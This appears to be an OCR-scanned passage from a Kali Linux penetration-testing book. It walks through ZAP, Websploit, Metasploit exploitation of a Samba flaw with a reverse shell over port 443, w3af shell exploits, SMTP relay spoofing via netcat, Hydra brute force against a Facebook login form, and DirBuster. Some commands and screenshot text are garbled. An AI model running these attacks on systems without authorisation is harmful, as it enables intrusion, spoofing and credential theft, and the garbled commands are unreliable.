0.hash complete.wl.old L /RDB) /mOCI6s r ThoDdIFHgWr + 43NHUk 3Zx 0ZEaGNgSNnool 1t sHPr3IdV
SeyzZGay x INSAPBQINITIDT Zwd IFoKF/Hk JDV+Cms+NABhhTT4ul UggSmK

T ¥, | 7mXLNU+aOtHGVEEePuoERUGdrak J9zZAnp/2M]]/HLqx9vOTBlutl ryfek

e - — Muz7ADb+ /4 vk 7N/ r 3XUL OM/uXzCNOcbb Ik Oy SOTKEESbpml PFLfBAOWAp)
I T END CERTIFICATE-----

B owasp_zap_root_ca.cer
i

ppe: o — " '_J

Save || Cancel | View | I save

Once you have saved the CA file, click on OK and open your browser. For Firefox,
go under Edit | Preferences and click on the Advance tab. Click on the Encryption
subtab and click on View Certificates. Next click on Import and select the certificate
you generated in Zaproxy (the . cer file). Firefox will ask whom to trust with the
new Certificate Authority. Check all three options, which are trust websites, e-mail
users, and software developers. Click on OK twice.

You have been asked to trust a new Certificate Authority (CA).

Do you want to trust "OWASP Zed Attack Proxy Root CA” for the following purposes?
(@ Trust this CA to identify websites.
@ Trust this CA to identify email users.
[ Trust this CA to identify software developers.

Before trusting this CA for any purpose, you should examine its certificate and its policy
and procedures (if available).

| View Examine CA certificate

Cancel | | OK
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The next step is setting Firefox to proxy all the traffic through Zaproxy. Do this

by going to Edit, Preferences, selecting the Advanced tab, and then selecting the
Network tab. Click on the Configure button, click on Manual proxy configuration,
type localhost and port 8080, which is the default for Zaproxy. Click on the
checkbox next to Use this proxy server for all protocols and click on OK. The
following screenshot demonstrates this configuration:

Connection Settings
Configure Proxies to Access the Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings
& Manual proxy configuration:

HTTP Proxy: | localhost Port 8080 |-

¥ Use this proxy server for all protocols

No Proxy for

localhost, 127.0.0.1

Example: mozilla.org, .net.nz, 192.168.1.0/24

Automatic proxy configuration URL

Help Cancel OK

Open Zaproxy and you should see a Sites window on the top-left side. This will
populate as you surf the Internet using Firefox. You can view all the requests and
responses for each page on the right window. Zaproxy gives an easy view of all
the resources being used by each webpage.
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You can also do a targeted evaluation of a website by going to the quick start
window and typing in a website in the URL to attack space. The following
screenshot is Zaproxy performing a scan of www. thesecurityblogger. com:

Untitled Session - OWASP ZAP - | O
Elle Edit View Analyse Report Tools Online Help

Standerdmode o] | | LM % TE@ OE0O V ++«=k LN ©
[ stes@ [ Quick Start o | Request=+ | Responses= | Break X |
= @ i Sites

Welcome to the OWASP Zed Attack Proxy (ZAP)
| ZAP s an easy to use integrated penetration testing teol for finding vulnerablities in web applications,
Please be aware that you should enly attack applications that you have been specifically been given perr

To quickly test an application, enter its URL below and press Attack’,

URL to attack: hittp:fiwww.thesecurityblogger.com
F arac [ stop
| Progress: Spidering the URL to discover the content

Far a more in depth test you should explore your applicaticn using your browser or automated reqressin(

Y S S T A PRpepee— P | P b1
s_t-’\ = =5
| History = Search =y Break Points 3 l Alerts M I Active Scan 3
J Spider # | Forced Emme P [ Fuzzer d T Params [ | T Http Sessions <5 T WebSockets g% ] AJAX Spider # T Output ]
|Site: i!"n\r lﬁasecm-u-f;t;iogger com: ;B0 v _J PO L | 1% Current Scans: 1 | URls Found: 745 &
Processed | Methed | URI | Flags |
(=] GET httg: fwww. thesecurityblogger. com SEED Ta|
=] GET hitp: fiwww.thesecurityblogger. com/
= GET hitp: ifwww. thesecurityblogger. com/Tpage_id=2
=] GET hittp: fiwww.thesecurityblogger. com/Tpaged=2
g GET hittp: ffwww. thesecurityblogger com/?p=2620 4
Alerts Q0 o0 L2 Pl Current Scans A 0 #1 ,°0 &0 @o :&l[:n

Zaproxy will perform a spider crawl of the target website to identify all the
links associated with the target as well as scan for vulnerabilities. To see the
vulnerabilities, click on the Alerts tab.

Spider T Forced Browse 4* T Fuzzer& T Params [ ] T Http Sessions <5 T webSockets g¥ T AJAX Spi
History =% Search & Break Points 3¢ Alerts U | Act

Cross-domain JavaScript source file inclusion
— URL: http:/fwww.thesecurityblogger.com

¥ & Alerts (4) : Risk: R Low

ot source file inclusion (2 Reliabiity: Warning

* (@ i Private IP disclosure (3) Parameter: https:/fapis.google.com/js/plusone.js

> ﬁ F X-Content-Type-Options header missing (91) Attack:

» [ ™ X-Frame-Options header not set (91) Description:

[ Cross-domain Javascri

Note that Zaproxy doesn't automate authentication by default. All login
L= requests will fail using an automated scan if default settings are enabled.
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You can set up automatic login using Zaproxy; however, you will have to first
manually log into a website while Zaproxy is enabled, tell Zaproxy where the
login and logout requests are and enable the auto-login feature. The GET requests
will appear in the Sites window and you must highlight both the login and logout
responses under the Responses tab by right-clicking on the response, clicking on
Flag as Content and selecting if it's the login or logout.

Sites@ [ Quick Start 4~ I Request= T Responses= T Break . 1

GET:yuiloader-dom-svent.js(v) |a P
e Header: Text v| |Body: Text =
| GET:css.phpld langid.sheet,styleid,td) l j | Y. j =] =

|| GET:content.php HTTP/1.1 200 OK ]
» | didb Date: Tue, 14 May 2013 15:19:53 GMT
|| GET:favicon.ico Server: Apache
¥ | forumrunner X-Powered-By: PHP/5.3.19
|| GET:detect js Cache-Control: private
Pragma: private

> images
— k] Set.Crnkie: ms lastactiuitu=A: evmires=wed 14.May.2014 15:1G:52 GMT - ¥

var vb_disable_ajax = selnt("O", 10J;

B POST:login. php(dolido.s.securitytoken,

i
__| POST:profile.phplde){do, s, securitytoke var SIMPLEVERSION = "421";

> L httpiiwwn ' var BBURL = "h* ', I “orums" ;

» | P httpefwww.thesecurityblogger.com var LOGGEDIN = 14336 = 0 7 true : false;

» [ http: fwww s mmbhnt nn s insls ~nm var THIS SCRIPT = *login®;

- i B 7 '

» [ https:fttt o var PATHS = { IAER) &1 Gz > 1 Logged in indicater

* [ https: fntmeetuip v forum o’ b 1 ¢ Logged out indicatcrj
e Y= ICTS 8 e Encode/Decode/Hash... —

Synt >
{ Forced Browse 4~ T Fuzzer g T Params [-] T Http Sessions = V?:wa}{ > Bpider %
{ History = ] Search S T Break Points 3¢ Al o o Spider
an't Un: tri+Z
@ Cross-domain Jav tr+Y N
URL: http:/iwn

¥ (& Alerts (5) Risk: R L?:w ut trl+

» 5 " Directory browsing (44) Reliability: Warning| COPY Ctri+C

» [ ™ Cross-domain JavaScript source file inclusion (391 2) [y, https:yg Paste trl+

» [E5 v Private IP disclosure (93) Attack: Delete Delete

» 65 fu x-Content-Type-Options header missing (1655) Description: Select Al Ctri+A

[ ﬁ!‘uX-Frame-Options header not set (1353)

The page at the| Save Raw ¥ lipt files from &

third-party dom

< D v

An icon with a brown line will appear on the toolbar representing automatic
authentication. Click on that icon to enable automatic authentication so that
Zaproxy can automatically log in to any authentication request while doing an
automated assessment of a target. This feature is helpful to auto-explore a website
that requires authentication.

[ standard mede  :[J[E[d|m[F]E] BIEIIEIE @ : ¢ | = «[Bp]|P @'E.J J
m = Request | ¢ Response | J¢ Break |
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Zaproxy has a market place found under Help | Check for updates that offers other
features that can be added to the Zaproxy arsenal.

Manage Add-ons
Add-ons
Status | Name Description | Update
Release Fuzzdb files Fuzzdb v1.09 files which can be used with the ... 2
Beta Beanshell Console Provides a BeansShell Console 2
Beta Passive scanner rules ... The beta quality Passive Scanner rules 3
Beta Port Scanner Allows to port scan a target server 3
Beta Report alert generator  Allows you to generate reports for alerts you s... 9
Beta Script Console Provides dynamic access to internal ZAP data ... 7
Beta SWN Digger files SWN Digger files which can be used with ZAPf... 2
Beta Token generation and... Allows you to generate and analyze pseudo ra... 5
Beta TreeTools Tools to add functionality to the tree view. 2
Alpha Active scanner rules (... The alpha quality Active Scanner rules 1
Alpha Diff Displays a dialog showing the differences bet... 2
Alpha Highlighter Allows you to highlight strings in the request a... 3
Alpha Passive scanner rules ... The alpha quality Passive Scanner rules 1
Alpha SCIP - Control Event E... Identify, enumerate and activate dormant and... 2
Alpha Server-Sent Events Allows you to view Server-Sent Events (SSE) co... 5
alon S fmai au . " o it £ =

GELGIE Tools Online Help

Export Messages to File...
Export Response to File...
Export All URLs to File...
Compare with another Session...
Generate HTML Report...
Generate XML Report...

Zaproxy offers different reporting options found under the Report tab.

Here are examples of an HTML report for www. thesecurityblogger. com.

Description The page at the following URL includes one or more script files from a third-party domain

URL http /Awww.thesecurityblogger.com

Parameter https //apis google com/js/plusone js
Solution Ensure JavaScript source files are loaded from only trusted sources, and the sources can't be controlled by end users of the application
Reference

Description The page at the following URL includes one or more script files from a third-party domain

URL http//www.thesecurityblogger.com

Parameter http//pagead2 googlesyndication.com/pagead/show_ads |s
Solution Ensure JavaScript source files are loaded from only trusted sources, and the sources can't be controlled by end users of the application
Reference

Cross-domain JavaScript source file inclusion

Cross-tlomain JavaScript source file inclusion
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Websploit

Websploit is an open source project used to scan and analyze remote systems to

find vulnerabilities.

To access Websploit, go under Web Applications | Web Application Fuzzers and
select websploit. A Terminal window will pop up with the Websploit banner. You
can see all the available modules and what is required to run a specific module by

typing show modules.

network/
network’mfod
network/mitm
network/mlitm
network/webkiller
network/fakeupdate
network/fakeap

loit/autopwn
exploit/browser_autopwn
exploit/java_applet

wifi/wifi_jammer
wifi/wifi_dos

i =1

e Denial Of Service Attack
Middle Finger Of Doom Attack
Man In The Middle Attack
Man Left In The Middle Attack
TCP Kill Attack
Fake Update Attack Using DNS Spoof
Fake Access Point

Hetasplolt Autopwn Service
loit Browqpr Autopwn Service

Wifi Jammer
Wifi Dos Attack

Type usk followed by the module you want and fill in the requirements to execute.
For example, to run the webkiller module, type use network/webkiller and fill
in the target to attack using the set TARGET commands. Type RUN to run the module.

TAR ET htf
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Exploitation

If a Penetration Tester invests the proper time and resources during the
Reconnaissance of a target, the Penetration Tester should end up with a list of targets
with possible vulnerabilities. The next step is prioritizing each target's value to your
mission, approximating the level of effort required to exploit potential vulnerabilities,
and judging the associated risk with performing the attack. The vulnerability and
exploitation available in Kali are ideal for identifying and exploiting vulnerabilities
found during the Reconnaissance of web application servers.

Metasploit

The Metasploit framework is one of the most popular tools for exploiting server-side
attacks. It is considered one of the most useful tools for Penetration Testers. HD Moore
created it in 2003. It is used as a legitimate Penetration Testing tool, as well as a tool
used by attackers to conduct unauthorized exploitation of systems.

There are a plenty of sources dedicated to teaching how to use the Metasploit
framework. In the context of this book, we will examine how Metasploit is used
for server-side exploitation for testing potential web applications.

Note to make sure Postgres SQL and Metasploit services are started.
% You can do so by typing service postgres start and service
T metasploit start in the Terminal window as root.

The first step is to open up a console and type in msfconsole to launch Metsaploit.
msfconsole is the most popular way to launch Metasploit. It provides a user
interface to access the entire Metasploit framework. Basic commands such as

help and show will allow you to navigate through Metasploit.

Note that there are other methods to launch Metasploit such as
s msfgui (GUI-based) and msfcli (command line-based).

In addition to Metasploit commands, msfconsole will allow you to invoke
underlying OS commands such as ping or nmap. This is helpful because it
allows an attacker to execute routine tasks without leaving the console.

In our first step, we will use nmap to scan the local network. The results can
be automatically added into Metasploit using an XML file.
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The command we issue is:

nmap -n -oX my.xml network

msf > nmap -n -o0X nl 172.16.189.0/24

] exec: nmap -n -oX my.xml 172.16.189.0/24

We will import our results from nmap into Metasploit using the XML file we created.
We do this by issuing the command:

db import my.xml

A quick check of the host commands shows that our import is successful and
Metasploit now has the nmap data.

We will also issue the services command to view the services available within
Metasploit. The following is an example output of the service command:
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You can perform scanning for nmap and importing the XML file into the Metasploit
database in one step by using the command db_nmap. In the following example, we
are using db_nmap to scan a host using the nmap commands.

msf > db nmap

We can verify that Metasploit has the relevant information in its database issuing
the hosts and services commands.

The services command reveals we are using Samba file sharing. Let's see if we can
search for an exploit and take advantage of this. It is important to note that although
we are attacking a real web server in this instance, we don't necessarily need to try
to exploit a web vulnerability. Real attackers will take advantage of all the software
running on a web server to access information.

We see several Samba exploits available. They also have rankings. We will use

the usermap_script exploit with an excellent rating. This module exploits the
command execution vulnerability in Samba Versions 3.0.20 through 3.0.25rc3.

More information about this exploit can be found at http://www.metasploit.com/
modules/exploit/multi/samba/usermap script.
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Once an exploit is selected, we need to see what information is required before
we can execute the selected exploit. We do this by identifying the required
options listed in the output and selecting a payload we want to deliver. We
issue the command show options to view the required options:
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We can see from this example that we need an RHOST entry. RHOST is the IP address
of the remote host we are attacking. We also need to select the payload and set the
payload options. A payload is code that injects itself and runs the exploit. Since
the same vulnerability can exist using multiple methods, we can possibly have
multiple payloads to choose from. To see the available payloads, issue the show
payloads command.

Once we see a payload that we want to use, the next step is to use the set payload
command and put in the patch name of the payload we see.
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Once the payload is set, we can issue the show options command again to verify the
options specific to the payload.

We can see this specific payload is asking us to set the LHOST and the LPORT. The
LHOST is the local host or your Metasploit attacker box. The exploit makes the remote
host connect back to the system hosting Metasploit, so the remote host needs to
know what your IP address is.

In addition, we need to set the port the remote host will use to communicate with
Metasploit. Many corporate environments restrict outbound ports using a firewall
or router. Best practice is to use a common port such as port 443, since it is usually
reserved for SSL traffic, which most corporations allow outbound. Also, another
benefit of using port 443 is that most organizations do not inspect SSL. We find that
using 443 as a LPORT for most attacks allows us to bypass internal proxy tools an
organization may have deployed.

set LHOST 172.

et LPORT 443
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When we are done setting our options, we can type, exploit to run the attack. When
the exploit runs successfully, you will be connected to the remote server. You can
run any command and in this example, this particular exploit gives root access. Root
access means full access to your target remote server.

et LHOST 172.16.1¢

set LPORT 443

There are various exploit and payload options available in the Metasploit framework.
Make sure to review the available options at http: //www.metasploit.com/.

w3af

wiaf

\Web Application Attack and Audit Framework

w3af (short for Web Application Attack and Audit Framework) is an open-source
web application security scanner and exploitation tool. W3af can be accessed under
Web Application Assessment | Web Vulnerability Scanners by selecting w3af.
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w3af offers a wizard; however, it is not necessary to properly execute a scan. The first
step is either creating a new profile or leveraging an existing profile. Profiles are used
to group plugins that will be run on a target. w3af comes with some great default
groups such as OWASP TOP10. Definitions of existing plugins will be displayed in
the center window as you select them such as the following example of the OWASP
TOP10 profile. You can select an existing profile or your new profile that you just
created in the left column. If you are using a new profile or editing an existing
profile, you can check the box for any plugins you want to scan. The more plugins
you check, the longer the scan will take. w3af will warn you of possible long delays
if you check a large group. Click on Start to run the scan.

The Open Web Application Security Project (QWASP) is
a worldwide free and open community focused on
improving the security of application software. OWASP
searched for and published the ten most common
security flaws. This profile search for this top 10
security flaws. For more information about the security
flaws: http://www.owasp.orgfindex.php/
OWASP_Top_Ten_Project.

Next, enter the target URL in the Target: field and click on Start to run the scan. The
following screenshot shows setting up w3af to scan www . thesecurityblogger . com:

Profiles Edit Tools Configuration Help
A - R A R G
Scan config
Profiles Target: [http:.ﬁwww.thesecuntyblogger.ccm |start| | % |
empty_profile Plugin Active
Dbttt latlEN (4] audit ]
audit_high_risk = auth
bruteforce +| bruteforce
fast_scan +| discovery B
full_audit
- +| evasion
full_audit_manual_dis
o N - +| grep a
sitemap = |

web_infrastructure

Plugin Active
+| output @

Mangle plugins modify requests on the fly.
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w3af will show the status of an active scan in the Log window. w3af will attempt to
predict the length of time required to complete the scan.

Scanoonﬁg‘ L09|Rsulls Exploit

Information ¥ Error Q_ search
[Fri 26 Apr 2013 03:32:41 AM EDT] A comment with the string "waming” was found in: "http://www.thesecurityblogger.com*. This could be a

interesting. This information was found in the request with id 1.

[Fri 26 Apr 2013 03:32:41 AM EDT] A comment with the string "puta" was found in: "http://www.thesecurityblogger.com". This could be interesting.
This information was found in the request with id 1.

[Fri 26 Apr 2013 03:32:41 AM EDT] A comment with the string "email" was found in: "http://www.thesecurityblogger.com™. This could be interesting.
This information was found in the request with id 1.

[Fri 26 Apr 2013 03:32:41 AM EDT] A comment with the string "security” was found in: "http://www.thesecurityblogger.com*. This could be
interesting. This information was found in the request with id 1.

[Fri 26 Apr 2013 03:32:41 AM EDT] A comment with the string "captcha" was found in: "http://www.thesecurityblogger.com". This could be
interesting. This information was found in the request with id 1.

[Fri 26 Apr 2013 03:32:41 AM EDT] The uri parameter of xUrllib.POST() must be of urlParser.url_object type.

[Fri 26 Apr 2013 03:32:41 AM EDT] The uri parameter of xUrllib.POST() must be of urlParser.url_object type.

[Fri 26 Apr 2013 03:32:41 AM EDT] webDiff plugin: You have to configure the local and remote directory to compare.

- Discovery progress: 5.263 % - ETA: 00d 00h 06m 105
Running discovery.fingerPKS on http://www.thesecurityblogger.com | Method: GET.

Vulns

Info

Debug T T T T T T T T T
0.00 1.07 214 3.20 4.27 5.35 6.42 7.49 8.56 9.62

To see the results from a scan, click on the Results tab. Results will provide the
details of what possible vulnerabilities were identified. The Exploit tab will show
the possible exploits based on the vulnerabilities discovered.

Scan config Log | Results ‘ Exploit

KB Browser | URLs Request/Response navigator

vuln Info [ Misc [The remote web server sent the HTTP header: "Link" with value: "<http://
Knowledge Base + [wp.me/1Lfwo=>; rel=shortlink". This information was found in the request with id 1.
- findComments (1)
- interestingComments (9)
@ HTML comment with "user” inside
@ HTML comment with "pass” inside Request ‘ Response

@ HTML comment with "fix"
@ HTML comment with "hacl
@ HTML comment with "waming

inside
ide
inside

Raw | Headers

POST http://www.thesecurityblogger.com HTTP/1.1
Host: www.thesecurityblogger.com

© HTML comment with "puta” inside Content-Type: application/x-www-form-urlencoded
€@ HTML comment with "email” inside Accept-Encoding: gzip

- . . Accept: */*
@ HTML comment with "security" inside User-Agent: Mozilla/4.e® (compatible; MSIE 8.8; Windows NT 6.1;

© HTML comment with "captcha” inside Trident/4.0; w3af.sf.net)
+ strangeParameters (1)
%25UFF-20%25uFF2e%25uFF4f%25uF F4e%25uF F45=8VYBMx8yXbZKq=3YeRBTeld1
- strangeHeaders (1)

- strangeHeaders (2)

i Strange header

@ strange header
- clickjacking (1) m u B| M Wh
- clickjacking (1) f -

013 A1 0 ‘I
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w3af allows users to exploit vulnerabilities identified during the audit phase. As
vulnerabilities are found, they are stored in specific locations of the knowledge base,
from which exploit plugins can read from and use that information to exploit the
vulnerability. If the exploit is successful, you will get a shell on the target system. The
following screenshot shows www.ntew3af exploiting the dayshel1 vulnerability on
www . thesecurityblogger. com.

Scan config Log Results Exploit

Exploits Vulnerabilities Shells
(davshell | A Unhandled error in web application
eval A Unidentifiad iLi

fileUploadshell

HITIT #2: USE the Set command 1o enter the Valles yourselr, and
localFileReader then exploit it using fastExploit.

osCommandingshell No [blind] SQL injection vulnerabilities have been found.

Hint #1: Try to find vulnerabilities using the audit plugins.

Hint #2: Use the set command to enter the values yourself, and
rfiProxy then exploit it using fastExploit.

remoteFilelncludeShell

No [blind] SQL injection vulnerabilities have been found.

sql_webshell h : . - - .

a- Hint #1: Try to find vulnerabilities using the audit plugins.
sgimap Hint #2: Use the set command to enter the values yourself, and
xpath then exploit it using fastExploit.

Exploiting 'davshell'...

There are a lot more useful features in the w3af toolset. You can learn more at
http://w3af.org/.

Exploiting e-mail systems

By nature, all the e-mail systems sit on the Internet and allow external anonymous
access from the outside world in order to be productive. Users in many organizations
send sensitive information over e-mail. In most environments, e-mail servers hold
valuable information making them a high priority target for attackers. The good
news for consumers is that correctly configured modern e-mail systems are extremely
difficult to exploit. This does not mean e-mail systems are not vulnerable to attacks
since most e-mail systems have web applications and are accessed through a web
interface. This promotes the possibility of a remote attacker gaining access to a core
system that could be leveraged as a jumping point to other internal systems.
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Before we target mail servers, it is important to know what systems are hosting the
mail servers. If you do not have this information, you can use the Reconnaissance
techniques we learned in Chapter 2, Reconnaissance. In this example, we used

fierce to determine the MX hosts for a particular domain. In most cases the MX
host is the SMTP server. The following screenshot is running Fierce on
www.cloudcentrics.com:

Trying

First we need to see if the mail server is vulnerable to direct commands. The main
purpose for which most attackers want to exploit mail servers is to spoof e-mails
and use the e-mail server as an unauthorized e-mail relay server. This book will
cover more on how compromised e-mail servers can be used for social engineering
attacks in Chapter 4, Client-side Attacks.

In this example, we will use Netcat as the tool to connect to the mail server. Netcat is
a computer networking service for reading from and writing to network connections
using TCP or UDP. Netcat is designed to be a dependable "back-end" device that
can be used directly or easily driven by other programs and scripts. Netcat is also

a feature-rich network debugging and investigation tool with the ability to produce
almost any kind of correlation using a number of built-in capabilities.

A common method to launch Netcat is issuing the command netcat mail-server
port. In this example, our mail server target is running servers over port 25. We
verified this information by using nmap during the Reconnaissance steps described
in Chapter 2, Reconnaissance.

~at mail .secmob.net 25

Once we connect to the server using Netcat, we use the HELO command to tell the
server who we are.
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If we receive a response, we can manipulate most servers using the SMTP commands
(some systems may not be vulnerable based on configuration and system type). In the
following example, we start by telling the server who we are using the HELO command.
Next, we can use the mail server to relay messages for future client-side attacks.

HELO, MAIL FROM, RCP To, and Data are the only required fields. You can use other
fields to hide who the e-mail is being sent to and change the reply to address. An
example is changing the Reply to address with the goal of tricking a receiver into
sending an e-mail to someone else.

MAIL FROM: someone_important@cloudcentrics.com

A full list of the SMTP commands can be found through the SMTP RFC commands
or using Google.

Brute-force attacks

A brute-force attack is when all possible keys are checked against encrypted data until
the right key is found. Brute-force attacks are extremely costly from a resource and
time perspective because the attacker is exploiting vulnerabilities in the encryption by
taking advantage of key length and simplicity of the key. A password is often based
on dictionary words meaning the total space an attacker would have to test would be
all words in a matching dictionary making the guessing scope significantly smaller
than a password using random characters. Best practice to mitigate brute-force attacks
is using long and complicated keys as well as timeouts after a number of attempts and
other methods to add more security factors.

Hydra

Hydra is a tool developed by The Hacker's Choice (THC) that uses the brute-force
attack method to test against a variety of different protocols. It is ideal for attacking
e-mail systems because Hydra can target a specific IP and protocol such as the admin
account for POP3 and SMTP used by the e-mail systems.

Prior to launching Hydra, you should perform Reconnaissance on a target such as a
mail system. Chapter 2, Reconnaissance, covers a vulnerability assessment tool Zenmap
that can be used to gather the following information for Hydra:

* The target's IP address (for example, 192.168.1.1)
* Open Ports (for example, port 80 or 25)
* Protocol (for example, HTTP for web or SMTP for mail)

* User name (for example, admin)
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Another Reconnaissance tool that is often used with Hydra is the Firefox plugin

Tamper Data.

Regiter or Login | Other Applications ~ m

j) ADD-ONS G

EXTENSIONS | THEMES | COLLECTIONS | MORE.

# » Extensions » Tamper Data

Tamper Data 11.0.1 105 user reviews
by Adam Judson g

167,030 users
Use tamperdata to view and modify HTTP/HTTPS headers and post parameters...

Continue to Download —

Meet the Developer: Adam Judson
Learn why Tamper Data was created and find out what's next for this add-on.

Tamper Data is a tool written by Adam Judson that allows an attacker to view HTTP
and HTTPS GET and POST information. This information is useful when using tools
such as Hydra to brute-force web forms since you can automate Hydra into opening

the webpage and testing the different username and password combinations.

Once we enable the Tamper Data plugin, we can launch the plugin and start it
before we submit a name into a web form.

L Connecting... I+

€ F a w acebook.com #* B P4 R A

8 Most Visited || Getting Started || Time || Gmasl & Wicud | Tech — FT | Exhical Hacking [ | appletv-hd - TPB [ | The Hacker Academy _ imported - SF || Cisco Security Partners

Sign Up
Connect with friends and the It's free and always will be.
world around you on Facebook.
& Tamper Data - Ongoing requests - O
= e S10p Tamper Clear Options Help
Filter
Time  Duration  Total Duration  Sizée  Method  Satus  ContertType  URL  Load Flags [
13528 1116 ms 1116 ms 1 GET 200 text/xmil https... LOAD BACKG...
13529 1840 ms 1840 ms 344 GET 200 tewtfemi nttps.. LOAD BYPASS...
e hitps fversi g - ogintiemptal 528
L4 llfmllm.r o1 Continue Tampesing?
Tamper Submit ‘Abort Request
hess
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Tamper Data will display information entered in the field groups. Attackers can
manipulate and resubmit that data even if the website is encrypted.

Tamper Popup
https://securewwt.com/nidp/saml2/sso?sid=0
: Request Header Na... Request Hea... Post Parameter Na... Post Paramet...
Host securewwt.cor ||| option credential
User-Agent .Moziﬂa/SU W Ecom_User_ID pink
Accept text/html,appli Ecom_Password pinkprincess
Accept-Language en-US,en;g=0. loginButton2 Login

Accept-Encoding gzip, deflate
Referer https://securen

Cookie JSESSIONID=3

OK Cancel

In this example, we see that the username pink and the password pinkprincess are
used when the login button was submitted.

Both these examples are two practical ways to perform Reconnaissance on a target to
gather the useful information Hydra will need. There are a plenty of other methods
and built-in tools in Kali to gather web information to use in Hydra; however, we
recommend Netcat and Tamper Data as the most effective methods.

Now that we have completed our Reconnaissance phase, let's launch Hydra and
see how we can use our Reconnaissance information to perform a brute-force
password attack.

To access Hydra from the Kali, go to Password Attacks | Online Attacks and select
Hydra. This will open a Terminal window that will auto launch Hydra.
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The opening documentation explains how to run Hydra. For example, if you want
to attack an admin account's password file located at 192.168.1.1 using SMTP,
you would type:

hydra -1 admin -p /root/password.txt 192.168.1.1 smtp

If you would like to use Hydra on a web form, we will need to gather the
information we collected from the Tamper Data plugin. The syntax for using Hydra
on a web form is <urls>:<form parameters>:<failure strings.

URL=https://www.facebook.com/login.php?login_ attempt=lemail=pink&passw
d=pinkprincessl&login="1log in"

You can then run Hydra. You will need to provide a file that contains a list of
usernames and a file that contains passwords.

hydra -L /cloudcentrics/usernamelist -P /cloudcentrics/passwords_demo
file.txtt -facebook.com http-get-form "login.php?login attempt=1:username
="EMAIL"&TOKEN="PASSWORD"&login=Login:incorrect"

The syntax can get complicated and change from site to site. This can happen on the
same site as well. It's recommended to master Tamper Data and Hydra in a lab prior
to performing live Penetration Testing.

DirBuster

DirBuster is designed to brute-force directories and filenames on web application
servers. It is common that web servers present themselves as a default installation
state, however applications and pages are actually hidden within. DirBuster is
designed to seek out these hidden factors.

DirBuster can be found under Web Applications | Web Crawlers as dirbuster. Once
opened, there are fields that must be filled in before starting an attack. At the very
least, you must enter a target URL, select the number of threads (we suggest maxing
this out at 100), and the files list. You can click on Browse and select the default list
or develop your own.
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Note that some versions of Kali may not include the default dictionaries.
You can download the default dictionaries online and point DirBuster to
them as shown in the following example:

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File Options About Heslp

Target URL (eg http:/fexample.com:B0/)

http:/www.thesecurityblogger.com

Work Method () Use GET requests only (+) Auto Switch (HEAD and GET)

4 Number Of Threads ~=—————————{7 100Thre.. []Go Faster

% Select scanning type: (%) List based brute force () Pure Brute Force

File with list of dirs/files
Jroot/Desktop/wordlist. st | | ) Browse | ‘ @ List Info |

Select starting options: (») Standard start point () URL Fuz
Brute Force Dirs Be Recursive Dir to start with |f |

Brute Force Files [] Use Blank Extension File extension |php |

R [P start |

Please complete the test details

Once you fill in the basic information, click on Start and DirBuster will start the
vulnerability assessment. Most likely, it will state that the completion time is a few
days; however, you usually will find useful data within minutes. The following
screenshot identifies a /cgi-bin/ folder that could be interesting:

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File Options About Help

http: ffwww.thesecurityblogger.com: 807
@ Scan Information * Results - List View: Dirs: 566 Files: 0| Results - Tree View ', /i Errors: 8,

Type Found Response | Size

Dir Istats/ 401 764~
Dir Mwp-content/ 200 1484
Dir ! 200 164372
Dir fegi-bin/ 403 507
Dir 2005/ 503 541
Dir fwp-ncludes/ 200 10724
Dir {08/ 503 541
Dir Jsitemap/ 503 541
Dir 12 503 541
Dir 108/ 503 541
Dir 07/ 503 541
Dir fos/f 503 541
Dir Jevents/ 503 5411
Dir feevaen! 50 54117
Current speed: 275 requests/sec (Select and right click for more options)

Average speed: (T) 135, (C) 191 requests/sec

Parse Queue Size: 0 Current number of running threads: 100
Total Requests: 2970/235452436 | | | change |

Time To Finish: 14 Days

& 00 Pause H O stop

Starting dirffile list based brute forcing fidentity/13.php
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Any code other than 404 is open to brute-force. To target the /cbi-bin/ folder

found during the scan, click on Stop to end the scan and click on Back. On the main

dashboard, above Start, is a field for selecting the starting point of the vulnerability

assessment. To start inside the /cbi-bin/ folder, place that text in that field and click

on Start.

Dir to start with |/cgi-bin/ |

File extension |php |

Most likely, you will find more folders within folders to evaluate. Continue the
same process of stopping, updating the start field, and executing scans to map
out your target. The following screenshot shows a tree view of mapping into the

cgi-bin folder:

OWASF DirBuster 1.0-RC1 - Web Application Brute Forcing - | O

File Options About Help

http:/fwww.thesecurityblogger.com: 80/cgi-bin/
@ Scan Information ' Results - List View: Dirs: 815 Files: 827 ', Results - Tree View | /i\ Errors: 30 ',

Type | Found | Response | Size
Dir fegi-bin/ 403 505~
Dir Jcgi-binjarticlef 503 541 |4
Dir Jegi-bin/special/ 503 541
Dir Jegi-bin/support/ 503 541
Dir Jegi-bin/0g/ 503 541
Dir Jegi-binflogin/ 503 541
Dir Jegi-bin/2004/ 503 541
Dir Jjegi-bin/18/ 503 541
Dir Jegi-bin/helps 503 541
Dir Jegi-bin/sp/ 503 541
Dir Jegi-binjprofiles 503 541
Dir Jegi-bin/policies/ 503 541
Dir Jegi-bin/more/ 503 541 |
Dir (eai-hinfinfoi 503 541 [T

Parse Queue Size:
Total Requests: 2

Time To Finish: 44

Current speed: 134 requests/sec

0
928/337606829

Days

‘ <H Back |

| 00 Pause

DirBuster Stopped

(Select and right click for more options)

fverage speed: (T) 43, (C) 87 requests/sec

Current number of running threads: 100

| | Change |

| Report

[cgi-binj201/
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You can click on the Report button to generate a report of your findings. You need to
select where to save the report and click on Generate Report. A text file will pop up

showcasing what was found.

DirBuster 1.0-RC1 Report Viewer

Jroot/Desktop/DirBusterReport-www.thesecurityblogger.com-80. txt

[Full Text]', simple List ', XML, €SV,

DirBuster 1.0-RC1 - Report
http:/fwww. owasp.org/index.php/Category: OWASP_DirBuster_Project
Report produced on Thu May 09 15:28:10 EDT 2013

Directories found during testing:
Dirs found with & 403 response:

Jegi-bin/
Jegi-binftest/

Dirs found with & 503 response:

Jcgi-binffeatures/
Jegi-bin/page/
Jeqgi-bin/s/
Jegi-bin/22/
Jegi-bin/docs/
Jegi-bin/20/
Jegi-bin/downloads/
Jeqgi-bin/4/
Jegi-bin/main/

| ¥ Close |

WebSlayer

WebSlayer is a web application brute-force tool. WebSlayer can be used to brute-
force the Form (User/Password), GET, and POST parameters. WebSlayer can also
be used to identify resources not linked such as scripts, files, directories, and so on.

WebSlayer has a payload generator and results analyzer.
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In the Attack Setup tab there is an url field, which must be filled with the target
URL Below the URL field are the Headers and POST data input fields. There is

an option to set the payload type, which can be Dictionary, Range, or Payload.
The Dictionary can be a file containing payloads, which can be a custom file

